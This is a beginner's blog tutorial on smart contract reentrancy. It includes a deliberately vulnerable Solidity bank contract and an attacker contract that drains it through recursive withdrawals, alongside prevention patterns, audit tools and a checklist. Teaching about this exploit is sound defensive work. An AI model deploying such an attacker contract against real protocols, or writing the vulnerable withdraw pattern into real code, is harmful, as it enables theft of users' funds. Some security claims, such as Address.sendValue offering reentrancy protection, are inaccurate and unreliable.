Demystifying Reentrancy A Step-by-Step Tutorial for DeFi Beginners
Introduction
Reentrancy is one of the most talked‑about vulnerabilities in the world of smart contracts. It is responsible for some of the biggest losses in decentralized finance, yet it can be understood with a few simple concepts. This tutorial walks you through what reentrancy is, why it matters, how it works in practice, and most importantly, how you can guard your contracts against it. By the end you will have a solid mental model and a checklist you can use whenever you write or audit a DeFi smart contract.
What Is Reentrancy?
At its core, reentrancy is an interaction pattern. When a smart contract calls another contract, control jumps to the callee, the callee executes, and then control returns to the caller. Reentrancy happens when, during that callback, the callee makes another call back to the original caller before the first call has finished. In other words, the caller gets “re‑entered” before it has finished its own work.
Reentrancy is not a flaw in the language or the blockchain itself; it is a feature of the execution model that, if misused, can be exploited. The classic example is a contract that sends funds to a user and only then updates the user’s balance. A malicious user can call the contract, receive a payment, then invoke the same function again before the balance update happens, and drain the contract.
Why Reentrancy Matters
- Financial Loss: Reentrancy bugs have led to millions of dollars in stolen funds.
- Loss of Trust: Users expect that once they interact with a DeFi protocol, their funds are safe.
- Regulatory Impact: Reentrancy attacks expose vulnerabilities that regulators scrutinize.
- Technical Reputation: A smart contract with a reentrancy flaw reflects poorly on the developer team.
Because DeFi contracts are often public and immutable, a reentrancy exploit can be executed repeatedly, making prevention critical.
Classic Reentrancy Attack: The DAO
The DAO attack in 2016 is the textbook case. The DAO had a withdraw() function that transferred Ether to a caller before updating the caller’s balance. An attacker created a malicious contract that, in its fallback function, called withdraw() again, repeating the process until the DAO’s balance was drained.
This attack introduced the term “reentrancy vulnerability” into the DeFi lexicon. It also spurred the Ethereum community to adopt stricter coding patterns and tools.
Step‑by‑Step Reentrancy Demo
Below is a minimal example of a vulnerable contract in Solidity. It illustrates how reentrancy can be exploited.
pragma solidity ^0.8.0;
contract VulnerableBank {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount, "Insufficient balance");
// The vulnerable line: transfer before state change
(bool sent, ) = payable(msg.sender).call{value: amount}("");
require(sent, "Failed to send Ether");
balances[msg.sender] -= amount;
}
}
Attack Contract
pragma solidity ^0.8.0;
contract Attacker {
VulnerableBank public bank;
address public owner;
constructor(address _bank) {
bank = VulnerableBank(_bank);
owner = msg.sender;
}
// Fallback function triggered by the bank's call
receive() external payable {
if (address(bank).balance >= 1 ether) {
bank.withdraw(1 ether);
}
}
function attack() external payable {
require(msg.value >= 1 ether, "Need at least 1 ETH");
bank.deposit{value: 1 ether}();
bank.withdraw(1 ether);
}
function collect() external {
payable(owner).transfer(address(this).balance);
}
}
How the Exploit Works
- Deposit: The attacker deposits 1 ETH into the bank.
- First Withdrawal: The attacker calls
withdraw(1 ETH). The bank sends 1 ETH to the attacker viacall. - Reentrancy: The attacker’s
receive()function is triggered. It immediately callsbank.withdraw(1 ETH)again before the bank has reduced the attacker’s balance. - Repeat: Steps 2 and 3 repeat until the bank’s balance is exhausted.
- Collect: The attacker transfers all stolen Ether to the owner.
The root cause is that the bank’s state change (reducing the balance) occurs after the external call.
Detecting Reentrancy Vulnerabilities
1. Code Review Checklist
-
External calls before state changes?
Anycall,send,transfer, or low‑level call that sends Ether should be followed by all state updates before the call completes. -
Fallback or receive functions?
Contracts that havefallbackorreceivefunctions can act as malicious callbacks. Evaluate whether they can call back into the vulnerable contract. -
Modifier usage?
Look for functions marked withnonReentrant. If absent, consider whether the function involves external calls and state changes. -
Use of
msg.senderafter an external call
If the contract relies onmsg.senderafter an external call, reentrancy may occur.
2. Automated Tools
- Slither – Static analysis that flags potential reentrancy patterns.
- Manticore – Symbolic execution to find attack vectors.
- MythX – Cloud‑based analysis covering reentrancy checks.
- Remix Security plugin – Real‑time feedback in the IDE.
Running a combination of these tools before deployment gives a high level of confidence that reentrancy has been addressed.
Preventing Reentrancy
1. Checks-Effects-Interactions Pattern
The canonical guard is to reorder operations:
- Checks – Validate all conditions (
requirestatements). - Effects – Update all internal state (balances, counters).
- Interactions – Make external calls (
call,transfer, etc.).
Rewriting the vulnerable withdraw function:
function withdraw(uint256 amount) external {
require(balances[msg.sender] >= amount, "Insufficient balance");
balances[msg.sender] -= amount; // Effect
(bool sent, ) = payable(msg.sender).call{value: amount}("");
require(sent, "Failed to send Ether"); // Interaction
}
Now, by the time the external call is made, the caller’s balance is already updated, so any reentrancy attempt will fail the require check.
2. NonReentrant Modifier
The OpenZeppelin ReentrancyGuard contract provides a reusable modifier:
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
contract SafeBank is ReentrancyGuard {
function withdraw(uint256 amount) external nonReentrant {
// ... body
}
}
The modifier uses a mutex that prevents the same call stack from reentering the function.
3. Avoid Low‑Level Calls for Payments
Prefer using transfer or call with a limited gas stipend only when necessary. transfer forwards 2300 gas, which is often insufficient for reentrancy but also limits contract execution to simple fallback functions.
4. Design for Idempotency
Make functions that can be safely called multiple times without side effects. For example, a withdraw that checks that the amount requested is less than or equal to the remaining balance.
5. Use Safe Libraries
SafeERC20for token transfers.Address.sendValueto safely forward Ether with reentrancy protection.
Practical Example: A Reentrancy‑Free Liquidity Pool
Below is a stripped‑down version of a liquidity pool that follows best practices:
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract LiquidityPool is ReentrancyGuard {
mapping(address => uint256) public lpTokens;
mapping(address => uint256) public poolBalances;
IERC20 public token;
constructor(IERC20 _token) {
token = _token;
}
function deposit(uint256 amount) external nonReentrant {
require(amount > 0, "Zero amount");
token.transferFrom(msg.sender, address(this), amount);
// Update balances before sending any tokens back
lpTokens[msg.sender] += amount;
poolBalances[address(token)] += amount;
}
function withdraw(uint256 amount) external nonReentrant {
require(lpTokens[msg.sender] >= amount, "Insufficient LP");
lpTokens[msg.sender] -= amount;
poolBalances[address(token)] -= amount;
// Interaction after state changes
token.transfer(msg.sender, amount);
}
}
Notice how the nonReentrant modifier is combined with the Checks‑Effects‑Interactions pattern. Even if a malicious user implements a fallback that calls withdraw, the require will fail because the LP balance has already been reduced.
Tools and Libraries to Assist You
| Tool | Purpose | Key Feature |
|---|---|---|
| Slither | Static analysis | Detects reentrancy patterns automatically |
| Manticore | Symbolic execution | Finds possible attack vectors |
| MythX | Cloud analysis | Reports reentrancy alongside other vulnerabilities |
| OpenZeppelin Contracts | Secure libraries | Provides ReentrancyGuard, SafeERC20, etc. |
| Foundry | Development framework | Offers built‑in tests and fuzzing |
Running a full suite of tests, static analysis, and fuzzing before deployment is a non‑negotiable step in DeFi development.
Checklist Before Going Live
- Use the Checks‑Effects‑Interactions pattern in all functions that interact with external contracts or send Ether.
- Wrap sensitive functions with the
nonReentrantmodifier or an equivalent guard. - Audit all fallback and receive functions; they can be entry points for reentrancy.
- Run Slither and MythX to ensure no flags remain.
- Fuzz test the contract using Foundry or Echidna to look for edge cases.
- Review gas usage – sometimes reentrancy protection can increase cost; ensure it stays within acceptable limits.
- Document the design so future developers understand the reentrancy protections in place.
Conclusion
Reentrancy is a subtle but powerful vulnerability that can devastate DeFi protocols. By grasping the underlying mechanics—how a call stack can be re-entered before state changes—you can write code that is resistant to this attack vector. The key practices are straightforward:
- Checks‑Effects‑Interactions
- NonReentrant guards
- Avoid low‑level calls where possible
- Leverage trusted libraries
Combine these with thorough static analysis, fuzzing, and code review, and you will significantly reduce the risk of reentrancy attacks. Armed with this knowledge, you are better prepared to build safer, more trustworthy DeFi applications.
Sofia Renz
Sofia is a blockchain strategist and educator passionate about Web3 transparency. She explores risk frameworks, incentive design, and sustainable yield systems within DeFi. Her writing simplifies deep crypto concepts for readers at every level.
Discussion (8)
Join the Discussion
Your comment has been submitted for moderation.
Random Posts
Mastering DeFi Essentials: Vocabulary, Protocols, and Impermanent Loss
Unlock DeFi with clear terms, protocol basics, and impermanent loss insight. Learn to read whitepapers, explain projects, and choose smart liquidity pools.
4 months ago
Exploring NFT-Fi Integration Within GameFi Ecosystems
Discover how NFT-Fi transforms GameFi, blending unique digital assets with DeFi tools for liquidity, collateral, and new play-to-earn economics, unlocking richer incentives and challenges.
4 months ago
Mastering DeFi Interest Rate Models and Crypto RFR Calculations
Discover how DeFi protocols algorithmically set interest rates and compute crypto risk, free rates, turning borrowing into a programmable market.
1 month ago
The architecture of decentralized finance tokens standards governance and vesting strategies
Explore how DeFi token standards, utility, governance, and vesting shape secure, scalable, user, friendly systems. Discover practical examples and future insights.
8 months ago
Token Standards as the Backbone of DeFi Ecosystems and Their Future Path
Token standards are the lifeblood of DeFi, enabling seamless composability, guiding new rebasing tokens, and shaping future layer-2 solutions. Discover how they power the ecosystem and what’s next.
5 months ago
Latest Posts
Foundations Of DeFi Core Primitives And Governance Models
Smart contracts are DeFi’s nervous system: deterministic, immutable, transparent. Governance models let protocols evolve autonomously without central authority.
2 days ago
Deep Dive Into L2 Scaling For DeFi And The Cost Of ZK Rollup Proof Generation
Learn how Layer-2, especially ZK rollups, boosts DeFi with faster, cheaper transactions and uncovering the real cost of generating zk proofs.
2 days ago
Modeling Interest Rates in Decentralized Finance
Discover how DeFi protocols set dynamic interest rates using supply-demand curves, optimize yields, and shield against liquidations, essential insights for developers and liquidity providers.
3 days ago